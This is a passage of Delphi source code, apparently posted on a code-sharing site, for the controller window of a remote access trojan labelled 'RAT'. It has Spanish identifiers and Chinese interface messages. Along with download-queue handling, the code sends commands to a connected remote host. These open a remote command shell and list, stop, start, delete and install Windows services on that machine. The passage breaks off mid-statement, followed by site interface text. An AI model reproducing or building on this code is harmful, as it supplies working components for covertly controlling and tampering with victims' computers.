📄 unitformcontrol.pas
字号:
AThread.Connection.Disconnect;
TmpStream.Free;
MyStream.Free;
bitmap.Free;
Except
End;
end;
end;
procedure TFormControl.TransferFinishedNotification(Sender:TObject);
var
Descarga: TDescargaHandler;
i : integer;
begin
if not Servidor.Terminated and Servidor.Connection.Connected then
begin
for i := 0 to ListViewDescargas.Items.Count -1 do
begin
Descarga := TDescargaHandler(ListViewDescargas.Items[i].Data);
if not Descarga.Transfering and not Descarga.cancelado and not Descarga.Finalizado and Descarga.es_descarga then //en espera
begin
try
Servidor.Connection.Writeln('RESUMETRANSFER|' + Descarga.Origen + '|' + IntToStr(Descarga.Descargado));
except
end;
Exit;
end;
end;
end;
end;
procedure TFormControl.ListViewDescargasContextPopup(Sender: TObject;
MousePos: TPoint; var Handled: Boolean);
var
Descarga: TDescargaHandler;
begin
if ListViewDescargas.Selected <> nil then
begin
Descarga := TDescargaHandler(ListViewDescargas.Selected.Data);
if Descarga.Transfering then
begin
PopupDescargas.Items[0].Enabled := True;
PopupDescargas.Items[1].Enabled := False;
PopupDescargas.Items[2].Enabled := False;
PopupDescargas.Items[3].Enabled := False;
PopupDescargas.Items[4].Enabled := False;
PopupDescargas.Items[5].Enabled := False;
PopupDescargas.Items[7].Enabled := False;
end else if (not Descarga.Transfering) AND (not Descarga.Finalizado) then
begin
PopupDescargas.Items[0].Enabled := False;
PopupDescargas.Items[1].Enabled := True;
PopupDescargas.Items[2].Enabled := True;
PopupDescargas.Items[3].Enabled := True;
PopupDescargas.Items[4].Enabled := True;
PopupDescargas.Items[5].Enabled := True;
PopupDescargas.Items[7].Enabled := True;
end
else if Descarga.Finalizado then
begin
PopupDescargas.Items[0].Enabled := False;
PopupDescargas.Items[1].Enabled := False;
PopupDescargas.Items[2].Enabled := True;
PopupDescargas.Items[3].Enabled := True;
PopupDescargas.Items[4].Enabled := True;
PopupDescargas.Items[5].Enabled := True;
PopupDescargas.Items[7].Enabled := True;
end;
end;
if (ListViewDescargas.Selected = nil ) then
begin
PopupDescargas.Items[0].Enabled := False;
PopupDescargas.Items[1].Enabled := False;
PopupDescargas.Items[2].Enabled := False;
PopupDescargas.Items[3].Enabled := False;
PopupDescargas.Items[4].Enabled := False;
PopupDescargas.Items[5].Enabled := False;
PopupDescargas.Items[7].Enabled := False;
end;
if not Descarga.es_descarga then PopupDescargas.Items[1].Enabled := False;
end;
procedure TFormControl.ListViewDescargasCustomDrawSubItem(
Sender: TCustomListView; Item: TListItem; SubItem: Integer;
State: TCustomDrawState; var DefaultDraw: Boolean);
var
Descarga: TDescargaHandler;
begin
//exit;
Descarga := TDescargaHandler(Item.data);
if Descarga.Finalizado then
begin
Sender.Canvas.Font.Color:=clGreen;
Sender.Canvas.Font.Style := [fsbold];
end
else if not Descarga.cancelado then
begin
Sender.Canvas.Font.Color:=clBlack;
Sender.Canvas.Font.Style := [];
end
else
begin
Sender.Canvas.Font.Color:=clRed;
Sender.Canvas.Font.Style := [fsbold];
end;
end;
procedure TFormControl.Eliminardescarga1Click(Sender: TObject);
var
Descarga: TDescargaHandler;
i, j:integer;
begin
if not TDescargaHandler(ListViewDescargas.Selected.Data).Transfering then
begin
TDescargaHandler(ListViewDescargas.Selected.Data).ProgressBar.Free;
TDescargaHandler(ListViewDescargas.Selected.Data).Free;
i := ListViewDescargas.Selected.Index;
ListViewDescargas.Selected.Delete;
for j := i to ListViewDescargas.Items.Count - 1 do
if ListViewDescargas.Items.Item[j].Data <> nil then
begin
Descarga := TDescargaHandler(ListViewDescargas.Items.Item[j].Data);
Descarga.ProgressBar.Top := Descarga.ProgressBar.Top -
(Descarga.ProgressBar.BoundsRect.Bottom -
Descarga.ProgressBar.BoundsRect.Top);
end;
end;
end;
procedure TFormControl.Borrarcompletados1Click(Sender: TObject);
var
i, j: Integer;
Descarga: TDescargaHandler;
begin
for i:=ListViewDescargas.Items.Count -1 downto 0 do
begin
Descarga := TDescargaHandler(ListViewDescargas.Items.Item[i].Data);
if Descarga.Finalizado then
begin
Descarga.ProgressBar.Free;
ListViewDescargas.Items[i].Delete;
Descarga.Free;
for j := i to ListViewDescargas.Items.Count - 1 do
//Si hay una progressbar subirla un puesto
if ListViewDescargas.Items.Item[j].Data <> nil then
begin
Descarga := TDescargaHandler(ListViewDescargas.Items.Item[j].Data);
Descarga.ProgressBar.Top := Descarga.ProgressBar.Top -
(Descarga.ProgressBar.BoundsRect.Bottom -
Descarga.ProgressBar.BoundsRect.Top);
end;
end;
end;
end;
procedure TFormControl.Subiralprimerpuesto1Click(Sender: TObject);
var
Item: TListItem;
i, j: Integer;
begin
for i:=0 to ListViewDescargas.Items.Count -1 do
if ListViewDescargas.Items.Item[i].SubItems[0] = 'En espera' then
begin
if ListViewDescargas.ItemIndex = i then Exit;
Item := TListItem.Create(ListViewDescargas.Items);
Item.Assign(ListViewDescargas.Selected);
for j:= ListViewDescargas.Selected.Index downto i + 1 do
ListViewDescargas.Items.Item[j] := ListViewDescargas.Items.Item[j - 1];
ListViewDescargas.Items.Item[i] := Item;
ListViewDescargas.ItemIndex := i;
Item.Free;
break;
end;
end;
//Subir un puesto
procedure TFormControl.Subir1Click(Sender: TObject);
var
Item: TListItem;
i: Integer;
begin
if ListViewDescargas.ItemIndex = 0 then exit;
i := ListViewDescargas.ItemIndex;
if ListViewDescargas.Items.Item[i - 1].SubItems[0] = 'En espera' then
begin
Item := TListItem.Create(ListViewDescargas.Items);
Item.Assign(ListViewDescargas.Selected);
ListViewDescargas.Items.Item[i] := ListViewDescargas.Items.Item[i - 1];
ListViewDescargas.Items.Item[i - 1] := Item;
ListViewDescargas.ItemIndex := i - 1;
Item.Free;
end;
end;
procedure TFormControl.Bajar1Click(Sender: TObject);
var
Item: TListItem;
i: Integer;
begin
if ListViewDescargas.ItemIndex = ListViewDescargas.Items.Count - 1 then exit;
i := ListViewDescargas.ItemIndex;
if ListViewDescargas.Items.Item[i + 1].SubItems[0] = 'En espera' then
begin
Item := TListItem.Create(ListViewDescargas.Items);
Item.Assign(ListViewDescargas.Selected);
ListViewDescargas.Items.Item[i] := ListViewDescargas.Items.Item[i + 1];
ListViewDescargas.Items.Item[i + 1] := Item;
ListViewDescargas.ItemIndex := i + 1;
Item.Free;
end;
end;
procedure TFormControl.ltimopuesto1Click(Sender: TObject);
var
Item: TListItem;
i, j: Integer;
begin
for i:=ListViewDescargas.Items.Count -1 downto 0 do
if ListViewDescargas.Items.Item[i].SubItems[0] = 'En espera' then
begin
if ListViewDescargas.ItemIndex = i then Exit;
Item := TListItem.Create(ListViewDescargas.Items);
Item.Assign(ListViewDescargas.Selected);
for j:= i + 1 to ListViewDescargas.Selected.Index do
ListViewDescargas.Items.Item[j] := ListViewDescargas.Items.Item[j + 1];
ListViewDescargas.Items.Item[i] := Item;
ListViewDescargas.ItemIndex := i;
Item.Free;
break;
end;
end;
procedure TFormControl.Activar2Click(Sender: TObject);
begin
if Servidor.Connection.Connected then
Servidor.Connection.Writeln('SHELL|ACTIVAR')
else
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;
procedure TFormControl.ComboBoxShellCommandKeyPress(Sender: TObject; var Key: Char);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
exit;
end;
if Key=#13 then
begin
Memoshell.Lines.Clear;
Memoshell.Lines.Add('$:\>'+edit1.text);
Servidor.Connection.Writeln('SHELL|' + edit1.text);
Memoshell.Lines.Add('请稍后,------------------- 正在等待反馈信息... ...');
edit1.Clear;
end;
end;
procedure TFormControl.BtnCambiarFuenteShellClick(Sender: TObject);
begin
if DlgFont.Execute then
begin
MemoShell.Font := DlgFont.Font;
//ComboBoxShellCommand.Font := DlgFont.Font;
if MemoShell.Color = MemoShell.Font.Color then
MessageBox(Handle, '已经选择了同样的颜色.', '提示', 0+MB_IconWarning);
end;
end;
procedure TFormControl.BtnCambiarColorShellClick(Sender: TObject);
begin
if DlgColors.Execute then
begin
MemoShell.Color := DlgColors.Color;
// ComboBoxShellCommand.Color := DlgColors.Color;
if MemoShell.Color = MemoShell.Font.Color then
MessageBox(Handle, '已经选择了同样的颜色.', '提示', 0+MB_IconWarning);
end;
end;
procedure TFormControl.PopupShellPopup(Sender: TObject);
begin
Activar2.Enabled := not edit1.Enabled;
Desactivar2.Enabled := edit1.Enabled;
end;
procedure TFormControl.Desactivar2Click(Sender: TObject);
begin
if Servidor.Connection.Connected then
begin
speedbutton2.enabled:=false;
speedbutton1.enabled:=true;
Servidor.Connection.Writeln('SHELL|DESACTIVAR');
end
else
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;
procedure TFormControl.Guardarcmo1Click(Sender: TObject);
begin
DlgGuardar.Title := 'Guardar texto :: RAT ::';
DlgGuardar.InitialDir := GetCurrentDir();
DlgGuardar.Filter := 'Archivo de texto (*.txt)|*.txt';
DlgGuardar.DefaultExt := 'txt';
if DlgGuardar.Execute then
begin
MemoShell.Lines.SaveToFile(DlgGuardar.FileName);
StatusBar.Panels[1].Text := 'Archivo guardado como: ' + DlgGuardar.FileName;
end;
end;
procedure TFormControl.BtnServiciosClick(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
exit;
end;
ListViewServicios.Clear ;
Servidor.Connection.Writeln('LISTARSERVICIOS')
end;
procedure TFormControl.DEtener1Click(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
exit;
end;
Servidor.Connection.Writeln('DETENERSERVICIO' + ListViewServicios.Selected.Caption);
end;
procedure TFormControl.Iniciar1Click(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
exit;
end;
Servidor.Connection.Writeln('INICIARSERVICIO' + ListViewServicios.Selected.Caption);
end;
procedure TFormControl.Desinstalar1Click(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
exit;
end;
Servidor.Connection.Writeln('BORRARSERVICIO' + ListViewServicios.Selected.Caption);
end;
procedure TFormControl.Instalar1Click(Sender: TObject);
begin
BtnCancelarInstalarServicio.Visible := True;
MultiEditInstalarServicio.Visible := True;
btnInstServicios2.Visible := True ;
MultiEditInstalarServicio.Text := '新建服务'
end;
procedure TFormControl.BtnCancelarInstalarServicioClick(Sender: TObject);
begin
BtnCancelarInstalarServicio.Visible := False;
MultiEditInstalarServicio.Visible := False;
btnInstServicios2.Visible := False;
end;
procedure TFormControl.btnSiguienteInstalarServicioClick(Sender: TObject);
begin
NombreSI :=MultiEditInstalarServicio.Text;
MultiEditInstalarServicio.Text := '命令完成';
end;
procedure TFormControl.btnInstServiciosClick(Sender: TObject);
begin
descripcionSI := MultiEditInstalarServicio.Text;
MultiEditInstalarServicio.Text := '命令完成';
btnInstServicios2.Visible := True;
end;
procedure TFormControl.btnInstServicios2Click(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('无连接主机!', mtWarning, [mbok], 0);
exit;
end;
RutaSI := MultiEditInstalarServicio.Text;
Servidor.Connection.Writeln('INSTALARSERVICIO' + nombresi + '|' + descripcionSI + '|' + rutaSi + '|');
BtnCancelarInstalarServicio.Visible := False;
MultiEditInstalarServicio.Visible := False;
btnInstServicios2.Visible := False;
end;
procedure TFormControl.PopupDescargasPopup(Sender: TObject);
var
Descarga:TDescargaHandler;
begin
if ListViewDescargas.Selected = nil then Exit;
Descarga := TDescargaHandler(ListViewDescargas.Selected.Data);
if not Descarga.Transfering then
PopUpDescargas.Items[0].Enabled := False; //menu Detener descarga
if Descarga.cancelado then
PopU
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -